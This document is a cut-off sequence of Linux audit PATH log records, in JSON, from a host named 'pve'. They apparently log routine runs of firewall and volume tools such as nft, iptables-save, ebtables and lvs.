{"@timestamp":1781964328797,"@rawstring":"node=pve type=PATH msg=audit(1781964328.797:60563): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964328796,"@rawstring":"node=pve type=PATH msg=audit(1781964328.796:60562): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964328796,"@rawstring":"node=pve type=PATH msg=audit(1781964328.796:60561): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964328788,"@rawstring":"node=pve type=PATH msg=audit(1781964328.788:60560): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964328788,"@rawstring":"node=pve type=PATH msg=audit(1781964328.788:60560): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964328788,"@rawstring":"node=pve type=PATH msg=audit(1781964328.788:60559): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964328788,"@rawstring":"node=pve type=PATH msg=audit(1781964328.788:60558): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325902,"@rawstring":"node=pve type=PATH msg=audit(1781964325.902:60557): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325902,"@rawstring":"node=pve type=PATH msg=audit(1781964325.902:60557): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325898,"@rawstring":"node=pve type=PATH msg=audit(1781964325.898:60556): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325898,"@rawstring":"node=pve type=PATH msg=audit(1781964325.898:60556): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325897,"@rawstring":"node=pve type=PATH msg=audit(1781964325.897:60555): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325897,"@rawstring":"node=pve type=PATH msg=audit(1781964325.897:60555): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325897,"@rawstring":"node=pve type=PATH msg=audit(1781964325.897:60554): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325892,"@rawstring":"node=pve type=PATH msg=audit(1781964325.892:60553): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325892,"@rawstring":"node=pve type=PATH msg=audit(1781964325.892:60553): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325892,"@rawstring":"node=pve type=PATH msg=audit(1781964325.892:60553): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325883,"@rawstring":"node=pve type=PATH msg=audit(1781964325.883:60552): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325883,"@rawstring":"node=pve type=PATH msg=audit(1781964325.883:60552): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325874,"@rawstring":"node=pve type=PATH msg=audit(1781964325.874:60551): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325874,"@rawstring":"node=pve type=PATH msg=audit(1781964325.874:60551): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325866,"@rawstring":"node=pve type=PATH msg=audit(1781964325.866:60550): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325866,"@rawstring":"node=pve type=PATH msg=audit(1781964325.866:60550): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325858,"@rawstring":"node=pve type=PATH msg=audit(1781964325.858:60549): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325858,"@rawstring":"node=pve type=PATH msg=audit(1781964325.858:60549): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325849,"@rawstring":"node=pve type=PATH msg=audit(1781964325.849:60547): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325849,"@rawstring":"node=pve type=PATH msg=audit(1781964325.849:60547): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325841,"@rawstring":"node=pve type=PATH msg=audit(1781964325.841:60546): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325841,"@rawstring":"node=pve type=PATH msg=audit(1781964325.841:60546): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325831,"@rawstring":"node=pve type=PATH msg=audit(1781964325.831:60545): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325831,"@rawstring":"node=pve type=PATH msg=audit(1781964325.831:60545): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325825,"@rawstring":"node=pve type=PATH msg=audit(1781964325.825:60544): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325825,"@rawstring":"node=pve type=PATH msg=audit(1781964325.825:60544): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325819,"@rawstring":"node=pve type=PATH msg=audit(1781964325.819:60543): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325819,"@rawstring":"node=pve type=PATH msg=audit(1781964325.819:60543): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325811,"@rawstring":"node=pve type=PATH msg=audit(1781964325.811:60542): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325811,"@rawstring":"node=pve type=PATH msg=audit(1781964325.811:60542): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325800,"@rawstring":"node=pve type=PATH msg=audit(1781964325.800:60541): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325800,"@rawstring":"node=pve type=PATH msg=audit(1781964325.800:60541): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325793,"@rawstring":"node=pve type=PATH msg=audit(1781964325.793:60540): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325793,"@rawstring":"node=pve type=PATH msg=audit(1781964325.793:60540): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325787,"@rawstring":"node=pve type=PATH msg=audit(1781964325.787:60539): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325787,"@rawstring":"node=pve type=PATH msg=audit(1781964325.787:60539): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325783,"@rawstring":"node=pve type=PATH msg=audit(1781964325.783:60538): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325783,"@rawstring":"node=pve type=PATH msg=audit(1781964325.783:60538): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325780,"@rawstring":"node=pve type=PATH msg=audit(1781964325.780:60537): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325780,"@rawstring":"node=pve type=PATH msg=audit(1781964325.780:60537): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325780,"@rawstring":"node=pve type=PATH msg=audit(1781964325.780:60536): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325762,"@rawstring":"node=pve type=PATH msg=audit(1781964325.762:60535): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325762,"@rawstring":"node=pve type=PATH msg=audit(1781964325.762:60535): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325762,"@rawstring":"node=pve type=PATH msg=audit(1781964325.762:60535): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325743,"@rawstring":"node=pve type=PATH msg=audit(1781964325.743:60534): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325743,"@rawstring":"node=pve type=PATH msg=audit(1781964325.743:60534): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325736,"@rawstring":"node=pve type=PATH msg=audit(1781964325.736:60533): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325736,"@rawstring":"node=pve type=PATH msg=audit(1781964325.736:60533): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325730,"@rawstring":"node=pve type=PATH msg=audit(1781964325.730:60532): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325730,"@rawstring":"node=pve type=PATH msg=audit(1781964325.730:60532): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325722,"@rawstring":"node=pve type=PATH msg=audit(1781964325.722:60531): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325722,"@rawstring":"node=pve type=PATH msg=audit(1781964325.722:60531): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325715,"@rawstring":"node=pve type=PATH msg=audit(1781964325.715:60530): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964325715,"@rawstring":"node=pve type=PATH msg=audit(1781964325.715:60530): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964324677,"@rawstring":"node=pve type=PATH msg=audit(1781964324.677:60529): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964324677,"@rawstring":"node=pve type=PATH msg=audit(1781964324.677:60529): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964324647,"@rawstring":"node=pve type=PATH msg=audit(1781964324.647:60528): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964324647,"@rawstring":"node=pve type=PATH msg=audit(1781964324.647:60528): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964323780,"@rawstring":"node=pve type=PATH msg=audit(1781964323.780:60527): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964323780,"@rawstring":"node=pve type=PATH msg=audit(1781964323.780:60527): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964323780,"@rawstring":"node=pve type=PATH msg=audit(1781964323.780:60526): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964323780,"@rawstring":"node=pve type=PATH msg=audit(1781964323.780:60525): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964323772,"@rawstring":"node=pve type=PATH msg=audit(1781964323.772:60524): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964323772,"@rawstring":"node=pve type=PATH msg=audit(1781964323.772:60524): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964323772,"@rawstring":"node=pve type=PATH msg=audit(1781964323.772:60523): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964323772,"@rawstring":"node=pve type=PATH msg=audit(1781964323.772:60522): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964318761,"@rawstring":"node=pve type=PATH msg=audit(1781964318.761:60521): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964318761,"@rawstring":"node=pve type=PATH msg=audit(1781964318.761:60521): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964318761,"@rawstring":"node=pve type=PATH msg=audit(1781964318.761:60520): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964318761,"@rawstring":"node=pve type=PATH msg=audit(1781964318.761:60519): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964318748,"@rawstring":"node=pve type=PATH msg=audit(1781964318.748:60518): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964318748,"@rawstring":"node=pve type=PATH msg=audit(1781964318.748:60518): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964318748,"@rawstring":"node=pve type=PATH msg=audit(1781964318.748:60517): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964318748,"@rawstring":"node=pve type=PATH msg=audit(1781964318.748:60516): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315700,"@rawstring":"node=pve type=PATH msg=audit(1781964315.700:60515): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315700,"@rawstring":"node=pve type=PATH msg=audit(1781964315.700:60515): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315684,"@rawstring":"node=pve type=PATH msg=audit(1781964315.684:60514): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315684,"@rawstring":"node=pve type=PATH msg=audit(1781964315.684:60514): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315681,"@rawstring":"node=pve type=PATH msg=audit(1781964315.681:60513): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315681,"@rawstring":"node=pve type=PATH msg=audit(1781964315.681:60513): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315681,"@rawstring":"node=pve type=PATH msg=audit(1781964315.681:60512): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315666,"@rawstring":"node=pve type=PATH msg=audit(1781964315.666:60511): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315666,"@rawstring":"node=pve type=PATH msg=audit(1781964315.666:60511): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315666,"@rawstring":"node=pve type=PATH msg=audit(1781964315.666:60511): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315560,"@rawstring":"node=pve type=PATH msg=audit(1781964315.560:60510): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315560,"@rawstring":"node=pve type=PATH msg=audit(1781964315.560:60510): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315549,"@rawstring":"node=pve type=PATH msg=audit(1781964315.549:60509): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315549,"@rawstring":"node=pve type=PATH msg=audit(1781964315.549:60509): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315540,"@rawstring":"node=pve type=PATH msg=audit(1781964315.540:60508): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 